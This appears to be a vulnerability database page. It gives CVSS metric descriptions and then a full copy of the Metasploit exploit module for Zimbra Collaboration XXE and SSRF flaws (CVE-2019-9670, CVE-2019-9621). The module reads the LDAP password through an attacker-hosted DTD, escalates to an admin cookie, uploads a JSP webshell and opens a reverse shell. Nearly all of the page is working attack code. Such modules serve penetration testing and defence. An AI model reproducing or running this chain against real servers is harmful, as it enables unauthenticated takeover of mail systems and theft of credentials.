The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
'Description' => %q{
This module exploits an XML external entity vulnerability and a
server side request forgery to get unauthenticated code execution
on Zimbra Collaboration Suite. The XML external entity vulnerability
in the Autodiscover Servlet is used to read a Zimbra configuration
file that contains an LDAP password for the 'zimbra' account. The
zimbra credentials are then used to get a user authentication cookie
with an AuthRequest message. Using the user cookie, a server side request
forgery in the Proxy Servlet is used to proxy an AuthRequest with
the 'zimbra' credentials to the admin port to retrieve an admin
cookie. After gaining an admin cookie the Client Upload servlet is
used to upload a JSP webshell that can be triggered from the web
server to get command execution on the host. The issues reportedly
affect Zimbra Collaboration Suite v8.5 to v8.7.11.
This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
UBUNTU16_64 FOSS edition.
},
'Author' =>
[
'An Trinh', # Discovery
'Khanh Viet Pham', # Discovery
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-9670'],
['CVE', '2019-9621'],
['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
],
'Platform' => ['linux'],
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Stance' => Stance::Aggressive,
'DefaultTarget' => 0,
'DisclosureDate' => '2019-03-13' # Blog post date
))
register_options [
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
]
end
def xxe_req(data)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/autodiscover'),
'encode_params' => false,
'data' => data
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
res
end
def soap_discover(check_soap=false)
xml = REXML::Document.new
xml.add_element('Autodiscover')
xml.root.add_element('Request')
req = xml.root.elements[1]
req.add_element('EMailAddress')
req.add_element('AcceptableResponseSchema')
replace_text = 'REPLACE'
req.elements['EMailAddress'].text = Faker::Internet.email
req.elements['AcceptableResponseSchema'].text = replace_text
doc = rand_text_alpha_lower(4..8)
entity = rand_text_alpha_lower(4..8)
local_file = '/etc/passwd'
res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
if check_soap
local = "file://#{local_file}"
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
res << "#{xml.to_s.sub(replace_text, "{entity};")}"
else
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
res << "%#{entity};]>"
res << "#{xml.to_s.sub(replace_text, "{@ent_data};")}"
end
res
end
def soap_auth(zimbra_user, zimbra_pass, admin=true)
urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
xml = REXML::Document.new
xml.add_element(
'soap:Envelope',
{'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
)
xml.root.add_element('soap:Body')
body = xml.root.elements[1]
body.add_element(
'AuthRequest',
{'xmlns' => urn}
)
zimbra_acc = body.elements[1]
zimbra_acc.add_element(
'account',
{'by' => 'adminName'}
)
zimbra_acc.add_element('password')
zimbra_acc.elements['account'].text = zimbra_user
zimbra_acc.elements['password'].text = zimbra_pass
xml.to_s
end
def cookie_req(data)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/service/soap/'),
'data' => data
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
res
end
def proxy_req(data, auth_cookie)
target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/service/proxy/'),
'vars_get' => {'target' => target},
'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
'data' => data,
'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
res
end
def upload_file(file_name, contents, cookie)
data = Rex::MIME::Message.new
data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
post_data = data.to_s
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
})
end
def check
begin
res = xxe_req(soap_discover(true))
rescue Msf::Exploit::Failed
return CheckCode::Unknown
end
if res.body.include?('zimbra')
return CheckCode::Vulnerable
end
CheckCode::Unknown
end
def on_request_uri(cli, req)
ent_file = rand_text_alpha_lower(4..8)
ent_eval = rand_text_alpha_lower(4..8)
dtd = <<~HERE
<!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
<!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
%#{ent_eval};
HERE
send_response(cli, dtd)
end
def primer
datastore['SSL'] = @ssl
res = xxe_req(soap_discover)
fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
password = $1
username = 'zimbra'
print_good("Password found: #{password}")
data = soap_auth(username, password, false)
res = cookie_req(data)
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
auth_cookie = $1
print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
data = soap_auth(username, password)
res = proxy_req(data, auth_cookie)
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
admin_cookie = $1
print_good("Admin cookie retrieved: #{admin_cookie}")
stager_name = "#{rand_text_alpha(8..16)}.jsp"
print_status('Uploading jsp shell')
res = upload_file(stager_name, payload.encoded, admin_cookie)
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
# Only shell sessions are supported
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
print_status("Executing payload on /downloads/#{stager_name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
'cookie' => admin_cookie
})
end
def exploit
@ent_data = rand_text_alpha_lower(4..8)
@ssl = datastore['SSL']
datastore['SSL'] = false
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
end